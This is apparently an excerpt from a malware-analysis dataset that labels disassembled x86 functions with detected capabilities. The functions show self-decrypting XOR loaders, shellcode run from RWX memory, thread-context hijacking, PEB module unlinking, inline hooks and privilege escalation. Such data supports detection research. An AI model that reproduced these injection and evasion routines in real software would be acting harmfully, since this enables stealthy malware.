joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001b97a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1001b989
pop dword [ebp - 8]
mov eax, 0x6b1d1fb5
sub eax, 0x5b1b662c
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x39c5f
push 0
mov eax, 0x98371d01
add eax, 0x77cb246b
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xe9b92b5e
add ecx, 0x16471c0b
xor esi, esi
add esi, eax
mov edx, 0x246f3229
add edx, 0xeb9459d7
add edx, dword [ebp - 8]
mov ebx, 0x551542f6
sub ebx, 0x4b83e170
sub dword [ebp - 4], 0xb13e96b4
mov edi, dword [edx]
xor dword [ebp - 4], 0x3e8d4cff
sub edi, ebx
add dword [ebp - 4], eax
mov dword [esi], edi
xor dword [ebp - 4], 0xc40cca13
add esi, 4
add edx, 0x7938575e
add edx, 0x86c7a8a6
loop 0x1001b9ea
add eax, 0x8eba6d6
add eax, 0xf71569a1
mov ebx, eax
add eax, 0xa918f1a8
sub eax, 0xa918f1a3
mov ecx, 0xe07af197
sub ecx, 0xd07af197
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x1001c460
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x10]
sub esp, 0x51c
lea edx, [eax + 0x1f]
push ebx
push ebp
lea ebp, [ecx + 0x1f]
push esi
shr edx, 5
shr ebp, 5
cmp edx, ebp
mov ebx, edx
ja 0x1001c485
mov ebx, ebp
mov ecx, dword [esp + 0x53c]
xor esi, esi
xor eax, eax
cmp ecx, esi
setne al
cmp ebx, esi
mov dword [esp + 0xc], eax
je 0x1001c68c
cmp ebx, 0x40
ja 0x1001c68c
lea eax, [esp + 0x324]
mov ecx, ebx
mov dword [eax - 0x204], esi
mov dword [eax], esi
mov dword [eax - 0x104], esi
mov dword [eax + 0x100], esi
add eax, 4
dec ecx
jne 0x1001c4b3
mov ecx, dword [esp + 0x120]
mov esi, dword [esp + 0x52c]
xor ecx, 1
push edi
mov dword [esp + 0x124], ecx
mov ecx, edx
lea edi, [esp + 0x224]
push edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x53c]
lea ecx, [ebp*4]
mov dword [esp + 0x24], ecx
mov eax, ecx
lea edi, [esp + 0x42c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x534]
push ecx
call fcn.1001b97a
push ebp
mov edx, dword [esp + 0x53c]
mov dword [esp + 0x328], eax
push edx
call fcn.1001b97a
xor edx, edx
mov dword [esp + 0x528], eax
mov eax, edx
mov dword [esp + 0x18], edx
shl eax, 7
add eax, edx
shl eax, 2
mov ecx, eax
neg ecx
mov esi, dword [esp + ecx + 0x528]
test esi, esi
je 0x1001c62e
lea esi, [esp + eax + 0x124]
lea ebp, [esp + ecx + 0x328]
mov dword [esp + 0x1c], ebp
mov eax, dword [esi + 0x200]
mov ecx, dword [ebp + 0x200]
cmp eax, ecx
jb 0x1001c620
sub eax, ecx
push ebx
mov edi, eax
lea eax, [esp + 0x28]
push eax
lea eax, [ebp + 0x100]
push edi
push eax
call fcn.1001ad20
lea edx, [esi + 0x100]
lea ecx, [esp + 0x24]
mov eax, edx
mov dword [esp + 0x14], ebx
mov ebp, dword [ecx]
add ecx, 4
xor dword [eax], ebp
mov ebp, dword [esp + 0x14]
add eax, 4
dec ebp
mov dword [esp + 0x14], ebp
jne 0x1001c5b2
push ebx
push edx
call fcn.1001b97a
mov dword [esi + 0x200], eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001c604
mov ebp, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
push ebx
push ecx
push edi
push ebp
call fcn.1001ad20
lea ecx, [esp + 0x24]
mov eax, esi
sub ecx, esi
mov edx, ebx
mov edi, dword [ecx + eax]
xor dword [eax], edi
add eax, 4
dec edx
jne 0x1001c5f7
jmp 0x1001c608
mov ebp, dword [esp + 0x1c]
mov eax, dword [esi + 0x200]
mov ecx, dword [ebp + 0x200]
cmp eax, ecx
jae 0x1001c58b
mov edx, dword [esp + 0x18]
mov eax, 1
sub eax, edx
mov edx, eax
jmp 0x1001c544
mov edi, dword [esp + 0x544]
test edi, edi
je 0x1001c64b
mov eax, edx
mov ecx, ebx
shl eax, 7
add eax, edx
lea esi, [esp + eax*4 + 0x224]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001c67a
mov ecx, dword [esp + 0x20]
mov edi, dword [esp + 0x540]
mov eax, edx
shl eax, 7
add eax, edx
mov edx, ecx
shr ecx, 2
lea esi, [esp + eax*4 + 0x124]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x51c
ret 0x18
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x51c
ret 0x18
Function at 0x1002109f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10034570], 0
push esi
push edi
jne 0x10021015
call fcn.10020f81
test eax, eax
je 0x1002105a
mov eax, dword [0x10034570]
cmp eax, 1
jne 0x10021036
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1002105a
jmp 0x1002109c
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1002109c
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1002105e
xor eax, eax
jmp 0x1002109c
mov eax, dword [esi]
push dword [0x10034570]
call edi
mov edi, eax
test edi, edi
je 0x10021080
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1002109c
lea edi, [esi + 0xff0]
push esi
push dword [0x10034570]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x10021086
mov eax, esi
pop edi
pop esi
ret
jmp 0x10021001

Function at 0x1002140c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10033f20]
jne 0x10021416
repz ret
jmp fcn.10021c9a

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x10001071
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x10001071
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
jne 0x1000105a
jmp 0x10001071
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x100020a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10027a00
push 0x10020ab6
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100290c0]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, edx
mov esi, ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub ebx, esi
sub ebx, 5
mov byte [esi], 0xe9
mov dword [esi + 1], ebx
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x10002110
mov byte [esi + eax], 0x90
inc eax
jmp 0x10002102
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000212a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10020ae5
mov esp, ebp
pop ebp
ret
Function at 0x10004510
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x100290c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x18]
push esi
push edi
mov edi, dword [ebp + 0x14]
mov eax, dword [ecx]
push 0x100422b4
push ecx
call dword [eax + 0xc0]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xa4]
push eax
push 0x40
push 0x40
lea eax, [ebp - 0xa0]
mov dword [0x100422b8], 0
push eax
mov dword [0x100422b4], 0
mov dword [0x100422c4], 0
mov dword [0x100422c8], 0x3f800000
call esi
movups xmm0, xmmword [0x100245e8]
lea eax, [ebp - 0xa4]
push eax
push dword [ebp - 0xa4]
movups xmmword [ebp - 0xa0], xmm0
push 0x40
movups xmm0, xmmword [0x100245f8]
lea eax, [ebp - 0xa0]
push eax
movups xmmword [ebp - 0x90], xmm0
movups xmm0, xmmword [0x10024608]
movups xmmword [ebp - 0x80], xmm0
movups xmm0, xmmword [0x10024618]
movups xmmword [ebp - 0x70], xmm0
call esi
mov eax, dword [0x1004260c]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x1004225c]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0xa8]
mov dword [ebp - 0xac], ecx
mov ecx, dword [ebp - 0xac]
mov eax, 0x100424fc
call eax
mov ecx, dword [0x1004260c]
mov esi, eax
mov ecx, dword [ecx]
mov dword [ebp - 0xa8], ecx
mov ecx, dword [0x1004225c]
mov ecx, dword [ecx]
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xa8]
add ecx, dword [ebp - 0xa4]
mov dword [ebp - 0xb0], ecx
mov ecx, dword [ebp - 0xb0]
mov eax, 0x100425bc
call eax
lea ecx, [ebp - 0xa0]
push ecx
push esi
push eax
push 0x100422b4
lea edx, [ebp + 8]
lea ecx, [ebp - 0xbc]
call fcn.100028a0
movss xmm3, dword [ebp - 0xb4]
movss xmm0, dword [0x10026588]
comiss xmm0, xmm3
jbe 0x100046f3
movss xmm1, dword [ebp - 0xbc]
xorps xmm0, xmm0
comiss xmm1, xmm0
jbe 0x100046f3
movss xmm2, dword [ebp - 0xb8]
comiss xmm2, xmm0
jbe 0x100046f3
mov eax, dword [0x100422bc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x10027210]
cvtpd2ps xmm0, xmm0
comiss xmm0, xmm1
jbe 0x100046f3
mov eax, dword [0x100422c0]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x10027210]
cvtpd2ps xmm0, xmm0
comiss xmm0, xmm2
jbe 0x100046f3
movss dword [edi], xmm1
mov al, 1
movss dword [edi + 4], xmm2
movss dword [edi + 8], xmm3
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10020ae5
mov esp, ebp
pop ebp
ret 0x14
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.10020ae5
mov esp, ebp
pop ebp
ret 0x14
Function at 0x1001cdc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x100290c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.ntdll
mov dword [ebp - 0x2d8], edx
mov dword [ebp - 0x2dc], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
push esi
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 8
lea ebx, [esi + 8]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx edi, al
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx eax, al
mov ecx, ebx
or eax, edi
shl eax, cl
or esi, eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, ebx
movzx eax, al
shl eax, cl
add ebx, 8
or esi, eax
cmp ebx, 0x20
jl 0x1001ce03
cmp esi, 0x7fffffff
jbe 0x1001ce5b
lea eax, [esi - 0x80000000]
shr eax, 0xc
inc eax
nop word [eax + eax]
sub esi, 0x1000
sub eax, 1
jne 0x1001ce50
push 0
push 0x40
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.RtlCreateUserThread
push str.ntdll
mov dword [ebp - 0x2d4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp - 0x2d8]
mov ebx, eax
mov edi, dword [edi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
lea ecx, [ebp - 0x2d4]
push ecx
push edi
push esi
push 0
push 0
push 0
push 1
push 0
push eax
call ebx
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d0], 0x10003
push eax
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x2d0]
push eax
push dword [ebp - 0x2d4]
mov dword [ebp - 0x2d0], 0x10003
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10020ae5
mov esp, ebp
pop ebp
ret
Function at 0x1001e0e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100290c0]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
jne 0x1001e21c
lea edx, [ebp - 8]
mov ecx, 0x1001de70
call fcn.1001cdc0
lea edx, [ebp - 8]
mov ecx, 0x1001de80
call fcn.1001cdc0
mov ecx, dword [0x11dd8af4]
mov eax, dword [0x11dd8af0]
cmp eax, ecx
je 0x1001e143
mov edx, dword [ebp - 8]
nop dword [eax]
cmp dword [eax], edx
je 0x1001e13b
add eax, 0x14
cmp eax, ecx
jne 0x1001e130
cmp eax, ecx
jne 0x1001e21c
mov eax, dword fs:[0x30]
push esi
mov eax, dword [eax + 0xc]
add eax, 0xc
mov esi, dword [eax]
cmp esi, eax
je 0x1001e16f
mov ecx, dword [ebp - 8]
nop dword [eax]
test esi, esi
je 0x1001e16f
cmp dword [esi + 0x18], ecx
je 0x1001e185
mov esi, dword [esi]
cmp esi, eax
jne 0x1001e160
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10020ae5
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [esi + 4]
push ebx
push edi
mov dword [ebp - 0x1c], ecx
mov edx, dword [eax]
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0xc], esi
mov edi, dword [eax]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x10], edi
mov ebx, dword [eax]
mov eax, dword [0x11dd8af4]
mov dword [ebp - 0x14], ebx
cmp eax, dword [0x11dd8af8]
je 0x1001e1c9
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], esi
add dword [0x11dd8af4], 0x14
jmp 0x1001e1d3
lea ecx, [ebp - 0x1c]
push ecx
push eax
call fcn.1001ed10
mov ecx, dword [esi]
mov eax, dword [esi + 4]
pop edi
pop ebx
mov dword [ecx + 4], eax
mov ecx, dword [esi + 4]
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [esi + 0x10]
mov eax, dword [esi + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
mov dword [ecx], eax
mov ecx, dword [esi + 8]
mov eax, dword [esi + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 8]
pop esi
mov dword [ecx], eax
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10020ae5
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.10020ae5
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1001eb60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 2
xor eax, eax
mov dl, byte [edi + eax + 0x2c81f264]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001eb8e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x26
jl 0x1001eb71
pop edi
mov byte [esi + 0x26], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x1001f290
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.10021990
mov eax, dword [0x100290c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.1001fb90
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1001f4b3
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1001f4a6
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.1001f0f0
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.1001f0f0
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.1001f0f0
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.1001f0f0
add esp, 0x20
cmp byte [0x11dd76f0], 0
jne 0x1001f469
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x1001f3e2
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x1001f469
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x11dd72ef], al
test al, al
jne 0x1001f3f0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x11dd6aef], al
test al, al
jne 0x1001f410
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x11dd76ef], al
test al, al
jne 0x1001f430
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x11dd6eef], al
test al, al
jne 0x1001f450
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x1001f4ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10020ae5
mov esp, ebp
pop ebp
ret
Function at 0x100205c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5df1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.005df140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.005df140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.005df140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.005df140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x5dfbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x5dfc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x5f187c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x5dfc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x5dfc52
xor eax, eax
pop esi
leave
ret 4

Function at 0x431000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x778b3235
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x15ea3d74
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x409380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40938f
pop dword [ebp - 0x30]
mov eax, 0x40938f
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xf2b81923
add dword [ebp - 0x40], 0x5b9a2c28
mov dword [ebp - 0x3c], 0x25108f1e
sub dword [ebp - 0x3c], 0xf2dd42d9
mov dword [ebp - 0x38], 0x2e84cdc3
sub dword [ebp - 0x38], 0xe2388995
mov dword [ebp - 0x34], 0x7e0df054
add dword [ebp - 0x34], 0x81f20fac
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xeedaecfe
add dword [ebp - 0x40], 0x85977c58
mov dword [ebp - 0x3c], 0x33a53497
add dword [ebp - 0x3c], 0xdc72cde
mov dword [ebp - 0x38], 0xc684bac9
sub dword [ebp - 0x38], 0x63154e5d
mov dword [ebp - 0x34], 0x5aab0d1d
add dword [ebp - 0x34], 0xa554f2e3
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x39976
push 0
call eax
mov ecx, 0x4034
xor edx, edx
add edx, eax
mov ebx, 0x81b13149
sub ebx, 0x816e0749
add ebx, dword [ebp - 0x30]
mov edi, 0xd427f2b3
sub edi, 0xf5cf21e3
xor dword [ebp - 0x20], 0xd01c7c71
mov esi, dword [ebx]
mov dword [ebp - 0x10], 0xa2c29651
add esi, edi
xor dword [ebp - 0x2c], edx
mov dword [edx], esi
add edx, 0xb0ee822c
sub edx, 0xb0ee8228
add ebx, 4
loop 0x40949e
add eax, 0xed08be48
sub eax, 0xed07caa5
mov ebx, eax
add eax, 0x1a0a8de0
add eax, 0xe5f57225
mov ecx, 0xe0ff5872
add ecx, 0x1f40a78e
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x4098e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x4098f2
repz ret
jmp fcn.004114ed